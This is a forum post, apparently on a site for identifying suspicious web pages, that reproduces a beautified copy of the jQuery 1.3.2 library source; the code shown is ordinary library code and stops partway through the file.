查看: 776|回复: 1
收起左侧

[已鉴定] http://red-hope.net/Product-1896.html

[复制链接]
fireold
发表于 2013-7-6 08:35:50 | 显示全部楼层 |阅读模式
  1. /*
  2. * jQuery JavaScript Library v1.3.2
  3. * http://jquery.com/
  4. *
  5. * Copyright (c) 2009 John Resig
  6. * Dual licensed under the MIT and GPL licenses.
  7. * http://docs.jquery.com/License
  8. *
  9. * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
  10. * Revision: 6246
  11. */
  12. (function() {
  13.     var l = this,
  14.         g, y = l.jQuery,
  15.         p = l.$,
  16.         o = l.jQuery = l.$ = function(E, F) {
  17.             return new o.fn.init(E, F)
  18.         },
  19.         D = /^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,
  20.         f = /^.[^:#\[\.,]*$/;
  21.     o.fn = o.prototype = {
  22.         init: function(E, H) {
  23.             E = E || document;
  24.             if (E.nodeType) {
  25.                 this[0] = E;
  26.                 this.length = 1;
  27.                 this.context = E;
  28.                 return this
  29.             }
  30.             if (typeof E === "string") {
  31.                 var G = D.exec(E);
  32.                 if (G && (G[1] || !H)) {
  33.                     if (G[1]) {
  34.                         E = o.clean([G[1]], H)
  35.                     } else {
  36.                         var I = document.getElementById(G[3]);
  37.                         if (I && I.id != G[3]) {
  38.                             return o().find(E)
  39.                         }
  40.                         var F = o(I || []);
  41.                         F.context = document;
  42.                         F.selector = E;
  43.                         return F
  44.                     }
  45.                 } else {
  46.                     return o(H).find(E)
  47.                 }
  48.             } else {
  49.                 if (o.isFunction(E)) {
  50.                     return o(document).ready(E)
  51.                 }
  52.             }
  53.             if (E.selector && E.context) {
  54.                 this.selector = E.selector;
  55.                 this.context = E.context
  56.             }
  57.             return this.setArray(o.isArray(E) ? E : o.makeArray(E))
  58.         },
  59.         selector: "",
  60.         jquery: "1.3.2",
  61.         size: function() {
  62.             return this.length
  63.         },
  64.         get: function(E) {
  65.             return E === g ? Array.prototype.slice.call(this) : this[E]
  66.         },
  67.         pushStack: function(F, H, E) {
  68.             var G = o(F);
  69.             G.prevObject = this;
  70.             G.context = this.context;
  71.             if (H === "find") {
  72.                 G.selector = this.selector + (this.selector ? " " : "") + E
  73.             } else {
  74.                 if (H) {
  75.                     G.selector = this.selector + "." + H + "(" + E + ")"
  76.                 }
  77.             }
  78.             return G
  79.         },
  80.         setArray: function(E) {
  81.             this.length = 0;
  82.             Array.prototype.push.apply(this, E);
  83.             return this
  84.         },
  85.         each: function(F, E) {
  86.             return o.each(this, F, E)
  87.         },
  88.         index: function(E) {
  89.             return o.inArray(E && E.jquery ? E[0] : E, this)
  90.         },
  91.         attr: function(F, H, G) {
  92.             var E = F;
  93.             if (typeof F === "string") {
  94.                 if (H === g) {
  95.                     return this[0] && o[G || "attr"](this[0], F)
  96.                 } else {
  97.                     E = {};
  98.                     E[F] = H
  99.                 }
  100.             }
  101.             return this.each(function(I) {
  102.                 for (F in E) {
  103.                     o.attr(G ? this.style : this, F, o.prop(this, E[F], G, I, F))
  104.                 }
  105.             })
  106.         },
  107.         css: function(E, F) {
  108.             if ((E == "width" || E == "height") && parseFloat(F) < 0) {
  109.                 F = g
  110.             }
  111.             return this.attr(E, F, "curCSS")
  112.         },
  113.         text: function(F) {
  114.             if (typeof F !== "object" && F != null) {
  115.                 return this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(F))
  116.             }
  117.             var E = "";
  118.             o.each(F || this, function() {
  119.                 o.each(this.childNodes, function() {
  120.                     if (this.nodeType != 8) {
  121.                         E += this.nodeType != 1 ? this.nodeValue : o.fn.text([this])
  122.                     }
  123.                 })
  124.             });
  125.             return E
  126.         },
  127.         wrapAll: function(E) {
  128.             if (this[0]) {
  129.                 var F = o(E, this[0].ownerDocument).clone();
  130.                 if (this[0].parentNode) {
  131.                     F.insertBefore(this[0])
  132.                 }
  133.                 F.map(function() {
  134.                     var G = this;
  135.                     while (G.firstChild) {
  136.                         G = G.firstChild
  137.                     }
  138.                     return G
  139.                 }).append(this)
  140.             }
  141.             return this
  142.         },
  143.         wrapInner: function(E) {
  144.             return this.each(function() {
  145.                 o(this).contents().wrapAll(E)
  146.             })
  147.         },
  148.         wrap: function(E) {
  149.             return this.each(function() {
  150.                 o(this).wrapAll(E)
  151.             })
  152.         },
  153.         append: function() {
  154.             return this.domManip(arguments, true, function(E) {
  155.                 if (this.nodeType == 1) {
  156.                     this.appendChild(E)
  157.                 }
  158.             })
  159.         },
  160.         prepend: function() {
  161.             return this.domManip(arguments, true, function(E) {
  162.                 if (this.nodeType == 1) {
  163.                     this.insertBefore(E, this.firstChild)
  164.                 }
  165.             })
  166.         },
  167.         before: function() {
  168.             return this.domManip(arguments, false, function(E) {
  169.                 this.parentNode.insertBefore(E, this)
  170.             })
  171.         },
  172.         after: function() {
  173.             return this.domManip(arguments, false, function(E) {
  174.                 this.parentNode.insertBefore(E, this.nextSibling)
  175.             })
  176.         },
  177.         end: function() {
  178.             return this.prevObject || o([])
  179.         },
  180.         push: [].push,
  181.         sort: [].sort,
  182.         splice: [].splice,
  183.         find: function(E) {
  184.             if (this.length === 1) {
  185.                 var F = this.pushStack([], "find", E);
  186.                 F.length = 0;
  187.                 o.find(E, this[0], F);
  188.                 return F
  189.             } else {
  190.                 return this.pushStack(o.unique(o.map(this, function(G) {
  191.                     return o.find(E, G)
  192.                 })), "find", E)
  193.             }
  194.         },
  195.         clone: function(G) {
  196.             var E = this.map(function() {
  197.                 if (!o.support.noCloneEvent && !o.isXMLDoc(this)) {
  198.                     var I = this.outerHTML;
  199.                     if (!I) {
  200.                         var J = this.ownerDocument.createElement("div");
  201.                         J.appendChild(this.cloneNode(true));
  202.                         I = J.innerHTML
  203.                     }
  204.                     return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g, "").replace(/^\s*/, "")])[0]
  205.                 } else {
  206.                     return this.cloneNode(true)
  207.                 }
  208.             });
  209.             if (G === true) {
  210.                 var H = this.find("*").andSelf(),
  211.                     F = 0;
  212.                 E.find("*").andSelf().each(function() {
  213.                     if (this.nodeName !== H[F].nodeName) {
  214.                         return
  215.                     }
  216.                     var I = o.data(H[F], "events");
  217.                     for (var K in I) {
  218.                         for (var J in I[K]) {
  219.                             o.event.add(this, K, I[K][J], I[K][J].data)
  220.                         }
  221.                     }
  222.                     F++
  223.                 })
  224.             }
  225.             return E
  226.         },
  227.         filter: function(E) {
  228.             return this.pushStack(o.isFunction(E) && o.grep(this, function(G, F) {
  229.                 return E.call(G, F)
  230.             }) || o.multiFilter(E, o.grep(this, function(F) {
  231.                 return F.nodeType === 1
  232.             })), "filter", E)
  233.         },
  234.         closest: function(E) {
  235.             var G = o.expr.match.POS.test(E) ? o(E) : null,
  236.                 F = 0;
  237.             return this.map(function() {
  238.                 var H = this;
  239.                 while (H && H.ownerDocument) {
  240.                     if (G ? G.index(H) > -1 : o(H).is(E)) {
  241.                         o.data(H, "closest", F);
  242.                         return H
  243.                     }
  244.                     H = H.parentNode;
  245.                     F++
  246.                 }
  247.             })
  248.         },
  249.         not: function(E) {
  250.             if (typeof E === "string") {
  251.                 if (f.test(E)) {
  252.                     return this.pushStack(o.multiFilter(E, this, true), "not", E)
  253.                 } else {
  254.                     E = o.multiFilter(E, this)
  255.                 }
  256.             }
  257.             var F = E.length && E[E.length - 1] !== g && !E.nodeType;
  258.             return this.filter(function() {
  259.                 return F ? o.inArray(this, E) < 0 : this != E
  260.             })
  261.         },
  262.         add: function(E) {
  263.             return this.pushStack(o.unique(o.merge(this.get(), typeof E === "string" ? o(E) : o.makeArray(E))))
  264.         },
  265.         is: function(E) {
  266.             return !!E && o.multiFilter(E, this).length > 0
  267.         },
  268.         hasClass: function(E) {
  269.             return !!E && this.is("." + E)
  270.         },
  271.         val: function(K) {
  272.             if (K === g) {
  273.                 var E = this[0];
  274.                 if (E) {
  275.                     if (o.nodeName(E, "option")) {
  276.                         return (E.attributes.value || {}).specified ? E.value : E.text
  277.                     }
  278.                     if (o.nodeName(E, "select")) {
  279.                         var I = E.selectedIndex,
  280.                             L = [],
  281.                             M = E.options,
  282.                             H = E.type == "select-one";
  283.                         if (I < 0) {
  284.                             return null
  285.                         }
  286.                         for (var F = H ? I : 0, J = H ? I + 1 : M.length; F < J; F++) {
  287.                             var G = M[F];
  288.                             if (G.selected) {
  289.                                 K = o(G).val();
  290.                                 if (H) {
  291.                                     return K
  292.                                 }
  293.                                 L.push(K)
  294.                             }
  295.                         }
  296.                         return L
  297.                     }
  298.                     return (E.value || "").replace(/\r/g, "")
  299.                 }
  300.                 return g
  301.             }
  302.             if (typeof K === "number") {
  303.                 K += ""
  304.             }
  305.             return this.each(function() {
  306.                 if (this.nodeType != 1) {
  307.                     return
  308.                 }
  309.                 if (o.isArray(K) && /radio|checkbox/.test(this.type)) {
  310.                     this.checked = (o.inArray(this.value, K) >= 0 || o.inArray(this.name, K) >= 0)
  311.                 } else {
  312.                     if (o.nodeName(this, "select")) {
  313.                         var N = o.makeArray(K);
  314.                         o("option", this).each(function() {
  315.                             this.selected = (o.inArray(this.value, N) >= 0 || o.inArray(this.text, N) >= 0)
  316.                         });
  317.                         if (!N.length) {
  318.                             this.selectedIndex = -1
  319.                         }
  320.                     } else {
  321.                         this.value = K
  322.                     }
  323.                 }
  324.             })
  325.         },
  326.         html: function(E) {
  327.             return E === g ? (this[0] ? this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g, "") : null) : this.empty().append(E)
  328.         },
  329.         replaceWith: function(E) {
  330.             return this.after(E).remove()
  331.         },
  332.         eq: function(E) {
  333.             return this.slice(E, +E + 1)
  334.         },
  335.         slice: function() {
  336.             return this.pushStack(Array.prototype.slice.apply(this, arguments), "slice", Array.prototype.slice.call(arguments).join(","))
  337.         },
  338.         map: function(E) {
  339.             return this.pushStack(o.map(this, function(G, F) {
  340.                 return E.call(G, F, G)
  341.             }))
  342.         },
  343.         andSelf: function() {
  344.             return this.add(this.prevObject)
  345.         },
  346.         domManip: function(J, M, L) {
  347.             if (this[0]) {
  348.                 var I = (this[0].ownerDocument || this[0]).createDocumentFragment(),
  349.                     F = o.clean(J, (this[0].ownerDocument || this[0]), I),
  350.                     H = I.firstChild;
  351.                 if (H) {
  352.                     for (var G = 0, E = this.length; G < E; G++) {
  353.                         L.call(K(this[G], H), this.length > 1 || G > 0 ? I.cloneNode(true) : I)
  354.                     }
  355.                 }
  356.                 if (F) {
  357.                     o.each(F, z)
  358.                 }
  359.             }
  360.             return this;

  361.             function K(N, O) {
  362.                 return M && o.nodeName(N, "table") && o.nodeName(O, "tr") ? (N.getElementsByTagName("tbody")[0] || N.appendChild(N.ownerDocument.createElement("tbody"))) : N
  363.             }
  364.         }
  365.     };
  366.     o.fn.init.prototype = o.fn;

  367.     function z(E, F) {
  368.         if (F.src) {
  369.             o.ajax({
  370.                 url: F.src,
  371.                 async: false,
  372.                 dataType: "script"
  373.             })
  374.         } else {
  375.             o.globalEval(F.text || F.textContent || F.innerHTML || "")
  376.         }
  377.         if (F.parentNode) {
  378.             F.parentNode.removeChild(F)
  379.         }
  380.     }
  381.     function e() {
  382.         return +new Date
  383.     }
  384.     o.extend = o.fn.extend = function() {
  385.         var J = arguments[0] || {},
  386.             H = 1,
  387.             I = arguments.length,
  388.             E = false,
  389.             G;
  390.         if (typeof J === "boolean") {
  391.             E = J;
  392.             J = arguments[1] || {};
  393.             H = 2
  394.         }
  395.         if (typeof J !== "object" && !o.isFunction(J)) {
  396.             J = {}
  397.         }
  398.         if (I == H) {
  399.             J = this;
  400.             --H
  401.         }
  402.         for (; H < I; H++) {
  403.             if ((G = arguments[H]) != null) {
  404.                 for (var F in G) {
  405.                     var K = J[F],
  406.                         L = G[F];
  407.                     if (J === L) {
  408.                         continue
  409.                     }
  410.                     if (E && L && typeof L === "object" && !L.nodeType) {
  411.                         J[F] = o.extend(E, K || (L.length != null ? [] : {}), L)
  412.                     } else {
  413.                         if (L !== g) {
  414.                             J[F] = L
  415.                         }
  416.                     }
  417.                 }
  418.             }
  419.         }
  420.         return J
  421.     };
  422.     var b = /z-?index|font-?weight|opacity|zoom|line-?height/i,
  423.         q = document.defaultView || {},
  424.         s = Object.prototype.toString;
  425.     o.extend({
  426.         noConflict: function(E) {
  427.             l.$ = p;
  428.             if (E) {
  429.                 l.jQuery = y
  430.             }
  431.             return o
  432.         },
  433.         isFunction: function(E) {
  434.             return s.call(E) === "[object Function]"
  435.         },
  436.         isArray: function(E) {
  437.             return s.call(E) === "[object Array]"
  438.         },
  439.         isXMLDoc: function(E) {
  440.             return E.nodeType === 9 && E.documentElement.nodeName !== "HTML" || !! E.ownerDocument && o.isXMLDoc(E.ownerDocument)
  441.         },
  442.         globalEval: function(G) {
  443.             if (G && /\S/.test(G)) {
  444.                 var F = document.getElementsByTagName("head")[0] || document.documentElement,
  445.                     E = document.createElement("script");
  446.                 E.type = "text/javascript";
  447.                 if (o.support.scriptEval) {
  448.                     E.appendChild(document.createTextNode(G))
  449.                 } else {
  450.                     E.text = G
  451.                 }
  452.                 F.insertBefore(E, F.firstChild);
  453.                 F.removeChild(E)
  454.             }
  455.         },
  456.         nodeName: function(F, E) {
  457.             return F.nodeName && F.nodeName.toUpperCase() == E.toUpperCase()
  458.         },
  459.         each: function(G, K, F) {
  460.             var E, H = 0,
  461.                 I = G.length;
  462.             if (F) {
  463.                 if (I === g) {
  464.                     for (E in G) {
  465.                         if (K.apply(G[E], F) === false) {
  466.                             break
  467.                         }
  468.                     }
  469.                 } else {
  470.                     for (; H < I;) {
  471.                         if (K.apply(G[H++], F) === false) {
  472.                             break
  473.                         }
  474.                     }
  475.                 }
  476.             } else {
  477.                 if (I === g) {
  478.                     for (E in G) {
  479.                         if (K.call(G[E], E, G[E]) === false) {
  480.                             break
  481.                         }
  482.                     }
  483.                 } else {
  484.                     for (var J = G[0]; H < I && K.call(J, H, J) !== false; J = G[++H]) {}
  485.                 }
  486.             }
  487.             return G
  488.         },
  489.         prop: function(H, I, G, F, E) {
  490.             if (o.isFunction(I)) {
  491.                 I = I.call(H, F)
  492.             }
  493.             return typeof I === "number" && G == "curCSS" && !b.test(E) ? I + "px" : I
  494.         },
  495.         className: {
  496.             add: function(E, F) {
  497.                 o.each((F || "").split(/\s+/), function(G, H) {
  498.                     if (E.nodeType == 1 && !o.className.has(E.className, H)) {
  499.                         E.className += (E.className ? " " : "") + H
  500.                     }
  501.                 })
  502.             },
  503.             remove: function(E, F) {
  504.                 if (E.nodeType == 1) {
  505.                     E.className = F !== g ? o.grep(E.className.split(/\s+/), function(G) {
  506.                         return !o.className.has(F, G)
  507.                     }).join(" ") : ""
  508.                 }
  509.             },
  510.             has: function(F, E) {
  511.                 return F && o.inArray(E, (F.className || F).toString().split(/\s+/)) > -1
  512.             }
  513.         },
  514.         swap: function(H, G, I) {
  515.             var E = {};
  516.             for (var F in G) {
  517.                 E[F] = H.style[F];
  518.                 H.style[F] = G[F]
  519.             }
  520.             I.call(H);
  521.             for (var F in G) {
  522.                 H.style[F] = E[F]
  523.             }
  524.         },
  525.         css: function(H, F, J, E) {
  526.             if (F == "width" || F == "height") {
  527.                 var L, G = {
  528.                     position: "absolute",
  529.                     visibility: "hidden",
  530.                     display: "block"
  531.                 },
  532.                     K = F == "width" ? ["Left", "Right"] : ["Top", "Bottom"];

  533.                 function I() {
  534.                     L = F == "width" ? H.offsetWidth : H.offsetHeight;
  535.                     if (E === "border") {
  536.                         return
  537.                     }
  538.                     o.each(K, function() {
  539.                         if (!E) {
  540.                             L -= parseFloat(o.curCSS(H, "padding" + this, true)) || 0
  541.                         }
  542.                         if (E === "margin") {
  543.                             L += parseFloat(o.curCSS(H, "margin" + this, true)) || 0
  544.                         } else {
  545.                             L -= parseFloat(o.curCSS(H, "border" + this + "Width", true)) || 0
  546.                         }
  547.                     })
  548.                 }
  549.                 if (H.offsetWidth !== 0) {
  550.                     I()
  551.                 } else {
  552.                     o.swap(H, G, I)
  553.                 }
  554.                 return Math.max(0, Math.round(L))
  555.             }
  556.             return o.curCSS(H, F, J)
  557.         },
  558.         curCSS: function(I, F, G) {
  559.             var L, E = I.style;
  560.             if (F == "opacity" && !o.support.opacity) {
  561.                 L = o.attr(E, "opacity");
  562.                 return L == "" ? "1" : L
  563.             }
  564.             if (F.match(/float/i)) {
  565.                 F = w
  566.             }
  567.             if (!G && E && E[F]) {
  568.                 L = E[F]
  569.             } else {
  570.                 if (q.getComputedStyle) {
  571.                     if (F.match(/float/i)) {
  572.                         F = "float"
  573.                     }
  574.                     F = F.replace(/([A-Z])/g, "-$1").toLowerCase();
  575.                     var M = q.getComputedStyle(I, null);
  576.                     if (M) {
  577.                         L = M.getPropertyValue(F)
  578.                     }
  579.                     if (F == "opacity" && L == "") {
  580.                         L = "1"
  581.                     }
  582.                 } else {
  583.                     if (I.currentStyle) {
  584.                         var J = F.replace(/\-(\w)/g, function(N, O) {
  585.                             return O.toUpperCase()
  586.                         });
  587.                         L = I.currentStyle[F] || I.currentStyle[J];
  588.                         if (!/^\d+(px)?$/i.test(L) && /^\d/.test(L)) {
  589.                             var H = E.left,
  590.                                 K = I.runtimeStyle.left;
  591.                             I.runtimeStyle.left = I.currentStyle.left;
  592.                             E.left = L || 0;
  593.                             L = E.pixelLeft + "px";
  594.                             E.left = H;
  595.                             I.runtimeStyle.left = K
  596.                         }
  597.                     }
  598.                 }
  599.             }
  600.             return L
  601.         },
  602.         clean: function(F, K, I) {
  603.             K = K || document;
  604.             if (typeof K.createElement === "undefined") {
  605.                 K = K.ownerDocument || K[0] && K[0].ownerDocument || document
  606.             }
  607.             if (!I && F.length === 1 && typeof F[0] === "string") {
  608.                 var H = /^<(\w+)\s*\/?>$/.exec(F[0]);
  609.                 if (H) {
  610.                     return [K.createElement(H[1])]
  611.                 }
  612.             }
  613.             var G = [],
  614.                 E = [],
  615.                 L = K.createElement("div");
  616.             o.each(F, function(P, S) {
  617.                 if (typeof S === "number") {
  618.                     S += ""
  619.                 }
  620.                 if (!S) {
  621.                     return
  622.                 }
  623.                 if (typeof S === "string") {
  624.                     S = S.replace(/(<(\w+)[^>]*?)\/>/g, function(U, V, T) {
  625.                         return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i) ? U : V + "></" + T + ">"
  626.                     });
  627.                     var O = S.replace(/^\s+/, "").substring(0, 10).toLowerCase();
  628.                     var Q = !O.indexOf("<opt") && [1, "<select multiple='multiple'>", "</select>"] || !O.indexOf("<leg") && [1, "<fieldset>", "</fieldset>"] || O.match(/^<(thead|tbody|tfoot|colg|cap)/) && [1, "<table>", "</table>"] || !O.indexOf("<tr") && [2, "<table><tbody>", "</tbody></table>"] || (!O.indexOf("<td") || !O.indexOf("<th")) && [3, "<table><tbody><tr>", "</tr></tbody></table>"] || !O.indexOf("<col") && [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"] || !o.support.htmlSerialize && [1, "div<div>", "</div>"] || [0, "", ""];
  629.                     L.innerHTML = Q[1] + S + Q[2];
  630.                     while (Q[0]--) {
  631.                         L = L.lastChild
  632.                     }
  633.                     if (!o.support.tbody) {
  634.                         var R = /<tbody/i.test(S),
  635.                             N = !O.indexOf("<table") && !R ? L.firstChild && L.firstChild.childNodes : Q[1] == "<table>" && !R ? L.childNodes : [];
  636.                         for (var M = N.length - 1; M >= 0; --M) {
  637.                             if (o.nodeName(N[M], "tbody") && !N[M].childNodes.length) {
  638.                                 N[M].parentNode.removeChild(N[M])
  639.                             }
  640.                         }
  641.                     }
  642.                     if (!o.support.leadingWhitespace && /^\s/.test(S)) {
  643.                         L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]), L.firstChild)
  644.                     }
  645.                     S = o.makeArray(L.childNodes)
  646.                 }
  647.                 if (S.nodeType) {
  648.                     G.push(S)
  649.                 } else {
  650.                     G = o.merge(G, S)
  651.                 }
  652.             });
  653.             if (I) {
  654.                 for (var J = 0; G[J]; J++) {
  655.                     if (o.nodeName(G[J], "script") && (!G[J].type || G[J].type.toLowerCase() === "text/javascript")) {
  656.                         E.push(G[J].parentNode ? G[J].parentNode.removeChild(G[J]) : G[J])
  657.                     } else {
  658.                         if (G[J].nodeType === 1) {
  659.                             G.splice.apply(G, [J + 1, 0].concat(o.makeArray(G[J].getElementsByTagName("script"))))
  660.                         }
  661.                         I.appendChild(G[J])
  662.                     }
  663.                 }
  664.                 return E
  665.             }
  666.             return G
  667.         },
  668.         attr: function(J, G, K) {
  669.             if (!J || J.nodeType == 3 || J.nodeType == 8) {
  670.                 return g
  671.             }
  672.             var H = !o.isXMLDoc(J),
  673.                 L = K !== g;
  674.             G = H && o.props[G] || G;
  675.             if (J.tagName) {
  676.                 var F = /href|src|style/.test(G);
  677.                 if (G == "selected" && J.parentNode) {
  678.                     J.parentNode.selectedIndex
  679.                 }
  680.                 if (G in J && H && !F) {
  681.                     if (L) {
  682.                         if (G == "type" && o.nodeName(J, "input") && J.parentNode) {
  683.                             throw "type property can't be changed"
  684.                         }
  685.                         J[G] = K
  686.                     }
  687.                     if (o.nodeName(J, "form") && J.getAttributeNode(G)) {
  688.                         return J.getAttributeNode(G).nodeValue
  689.                     }
  690.                     if (G == "tabIndex") {
  691.                         var I = J.getAttributeNode("tabIndex");
  692.                         return I && I.specified ? I.value : J.nodeName.match(/(button|input|object|select|textarea)/i) ? 0 : J.nodeName.match(/^(a|area)$/i) && J.href ? 0 : g
  693.                     }
  694.                     return J[G]
  695.                 }
  696.                 if (!o.support.style && H && G == "style") {
  697.                     return o.attr(J.style, "cssText", K)
  698.                 }
  699.                 if (L) {
  700.                     J.setAttribute(G, "" + K)
  701.                 }
  702.                 var E = !o.support.hrefNormalized && H && F ? J.getAttribute(G, 2) : J.getAttribute(G);
  703.                 return E === null ? g : E
  704.             }
  705.             if (!o.support.opacity && G == "opacity") {
  706.                 if (L) {
  707.                     J.zoom = 1;
  708.                     J.filter = (J.filter || "").replace(/alpha\([^)]*\)/, "") + (parseInt(K) + "" == "NaN" ? "" : "alpha(opacity=" + K * 100 + ")")
  709.                 }
  710.                 return J.filter && J.filter.indexOf("opacity=") >= 0 ? (parseFloat(J.filter.match(/opacity=([^)]*)/)[1]) / 100) + "" : ""
  711.             }
  712.             G = G.replace(/-([a-z])/ig, function(M, N) {
  713.                 return N.toUpperCase()
  714.             });
  715.             if (L) {
  716.                 J[G] = K
  717.             }
  718.             return J[G]
  719.         },
  720.         trim: function(E) {
  721.             return (E || "").replace(/^\s+|\s+$/g, "")
  722.         },
  723.         makeArray: function(G) {
  724.             var E = [];
  725.             if (G != null) {
  726.                 var F = G.length;
  727.                 if (F == null || typeof G === "string" || o.isFunction(G) || G.setInterval) {
  728.                     E[0] = G
  729.                 } else {
  730.                     while (F) {
  731.                         E[--F] = G[F]
  732.                     }
  733.                 }
  734.             }
  735.             return E
  736.         },
  737.         inArray: function(G, H) {
  738.             for (var E = 0, F = H.length; E < F; E++) {
  739.                 if (H[E] === G) {
  740.                     return E
  741.                 }
  742.             }
  743.             return -1
  744.         },
  745.         merge: function(H, E) {
  746.             var F = 0,
  747.                 G, I = H.length;
  748.             if (!o.support.getAll) {
  749.                 while ((G = E[F++]) != null) {
  750.                     if (G.nodeType != 8) {
  751.                         H[I++] = G
  752.                     }
  753.                 }
  754.             } else {
  755.                 while ((G = E[F++]) != null) {
  756.                     H[I++] = G
  757.                 }
  758.             }
  759.             return H
  760.         },
  761.         unique: function(K) {
  762.             var F = [],
  763.                 E = {};
  764.             try {
  765.                 for (var G = 0, H = K.length; G < H; G++) {
  766.                     var J = o.data(K[G]);
  767.                     if (!E[J]) {
  768.                         E[J] = true;
  769.                         F.push(K[G])
  770.                     }
  771.                 }
  772.             } catch (I) {
  773.                 F = K
  774.             }
  775.             return F
  776.         },
  777.         grep: function(F, J, E) {
  778.             var G = [];
  779.             for (var H = 0, I = F.length; H < I; H++) {
  780.                 if (!E != !J(F[H], H)) {
  781.                     G.push(F[H])
  782.                 }
  783.             }
  784.             return G
  785.         },
  786.         map: function(E, J) {
  787.             var F = [];
  788.             for (var G = 0, H = E.length; G < H; G++) {
  789.                 var I = J(E[G], G);
  790.                 if (I != null) {
  791.                     F[F.length] = I
  792.                 }
  793.             }
  794.             return F.concat.apply([], F)
  795.         }
  796.     });
  797.     var C = navigator.userAgent.toLowerCase();
  798.     o.browser = {
  799.         version: (C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
  800.         safari: /webkit/.test(C),
  801.         opera: /opera/.test(C),
  802.         msie: /msie/.test(C) && !/opera/.test(C),
  803.         mozilla: /mozilla/.test(C) && !/(compatible|webkit)/.test(C)
  804.     };
  805.     o.each({
  806.         parent: function(E) {
  807.             return E.parentNode
  808.         },
  809.         parents: function(E) {
  810.             return o.dir(E, "parentNode")
  811.         },
  812.         next: function(E) {
  813.             return o.nth(E, 2, "nextSibling")
  814.         },
  815.         prev: function(E) {
  816.             return o.nth(E, 2, "previousSibling")
  817.         },
  818.         nextAll: function(E) {
  819.             return o.dir(E, "nextSibling")
  820.         },
  821.         prevAll: function(E) {
  822.             return o.dir(E, "previousSibling")
  823.         },
  824.         siblings: function(E) {
  825.             return o.sibling(E.parentNode.firstChild, E)
  826.         },
  827.         children: function(E) {
  828.             return o.sibling(E.firstChild)
  829.         },
  830.         contents: function(E) {
  831.             return o.nodeName(E, "iframe") ? E.contentDocument || E.contentWindow.document : o.makeArray(E.childNodes)
  832.         }
  833.     }, function(E, F) {
  834.         o.fn[E] = function(G) {
  835.             var H = o.map(this, F);
  836.             if (G && typeof G == "string") {
  837.                 H = o.multiFilter(G, H)
  838.             }
  839.             return this.pushStack(o.unique(H), E, G)
  840.         }
  841.     });
  842.     o.each({
  843.         appendTo: "append",
  844.         prependTo: "prepend",
  845.         insertBefore: "before",
  846.         insertAfter: "after",
  847.         replaceAll: "replaceWith"
  848.     }, function(E, F) {
  849.         o.fn[E] = function(G) {
  850.             var J = [],
  851.                 L = o(G);
  852.             for (var K = 0, H = L.length; K < H; K++) {
  853.                 var I = (K > 0 ? this.clone(true) : this).get();
  854.                 o.fn[F].apply(o(L[K]), I);
  855.                 J = J.concat(I)
  856.             }
  857.             return this.pushStack(J, E, G)
  858.         }
  859.     });
  860.     o.each({
  861.         removeAttr: function(E) {
  862.             o.attr(this, E, "");
  863.             if (this.nodeType == 1) {
  864.                 this.removeAttribute(E)
  865.             }
  866.         },
  867.         addClass: function(E) {
  868.             o.className.add(this, E)
  869.         },
  870.         removeClass: function(E) {
  871.             o.className.remove(this, E)
  872.         },
  873.         toggleClass: function(F, E) {
  874.             if (typeof E !== "boolean") {
  875.                 E = !o.className.has(this, F)
  876.             }
  877.             o.className[E ? "add" : "remove"](this, F)
  878.         },
  879.         remove: function(E) {
  880.             if (!E || o.filter(E, [this]).length) {
  881.                 o("*", this).add([this]).each(function() {
  882.                     o.event.remove(this);
  883.                     o.removeData(this)
  884.                 });
  885.                 if (this.parentNode) {
  886.                     this.parentNode.removeChild(this)
  887.                 }
  888.             }
  889.         },
  890.         empty: function() {
  891.             o(this).children().remove();
  892.             while (this.firstChild) {
  893.                 this.removeChild(this.firstChild)
  894.             }
  895.         }
  896.     }, function(E, F) {
  897.         o.fn[E] = function() {
  898.             return this.each(F, arguments)
  899.         }
  900.     });

  901.     function j(E, F) {
  902.         return E[0] && parseInt(o.curCSS(E[0], F, true), 10) || 0
  903.     }
  904.     var h = "jQuery" + e(),
  905.         v = 0,
  906.         A = {};
  907.     o.extend({
  908.         cache: {},
  909.         data: function(F, E, G) {
  910.             F = F == l ? A : F;
  911.             var H = F[h];
  912.             if (!H) {
  913.                 H = F[h] = ++v
  914.             }
  915.             if (E && !o.cache[H]) {
  916.                 o.cache[H] = {}
  917.             }
  918.             if (G !== g) {
  919.                 o.cache[H][E] = G
  920.             }
  921.             return E ? o.cache[H][E] : H
  922.         },
  923.         removeData: function(F, E) {
  924.             F = F == l ? A : F;
  925.             var H = F[h];
  926.             if (E) {
  927.                 if (o.cache[H]) {
  928.                     delete o.cache[H][E];
  929.                     E = "";
  930.                     for (E in o.cache[H]) {
  931.                         break
  932.                     }
  933.                     if (!E) {
  934.                         o.removeData(F)
  935.                     }
  936.                 }
  937.             } else {
  938.                 try {
  939.                     delete F[h]
  940.                 } catch (G) {
  941.                     if (F.removeAttribute) {
  942.                         F.removeAttribute(h)
  943.                     }
  944.                 }
  945.                 delete o.cache[H]
  946.             }
  947.         },
  948.         queue: function(F, E, H) {
  949.             if (F) {
  950.                 E = (E || "fx") + "queue";
  951.                 var G = o.data(F, E);
  952.                 if (!G || o.isArray(H)) {
  953.                     G = o.data(F, E, o.makeArray(H))
  954.                 } else {
  955.                     if (H) {
  956.                         G.push(H)
  957.                     }
  958.                 }
  959.             }
  960.             return G
  961.         },
  962.         dequeue: function(H, G) {
  963.             var E = o.queue(H, G),
  964.                 F = E.shift();
  965.             if (!G || G === "fx") {
  966.                 F = E[0]
  967.             }
  968.             if (F !== g) {
  969.                 F.call(H)
  970.             }
  971.         }
  972.     });
  973.     o.fn.extend({
  974.         data: function(E, G) {
  975.             var H = E.split(".");
  976.             H[1] = H[1] ? "." + H[1] : "";
  977.             if (G === g) {
  978.                 var F = this.triggerHandler("getData" + H[1] + "!", [H[0]]);
  979.                 if (F === g && this.length) {
  980.                     F = o.data(this[0], E)
  981.                 }
  982.                 return F === g && H[1] ? this.data(H[0]) : F
  983.             } else {
  984.                 return this.trigger("setData" + H[1] + "!", [H[0], G]).each(function() {
  985.                     o.data(this, E, G)
  986.                 })
  987.             }
  988.         },
  989.         removeData: function(E) {
  990.             return this.each(function() {
  991.                 o.removeData(this, E)
  992.             })
  993.         },
  994.         queue: function(E, F) {
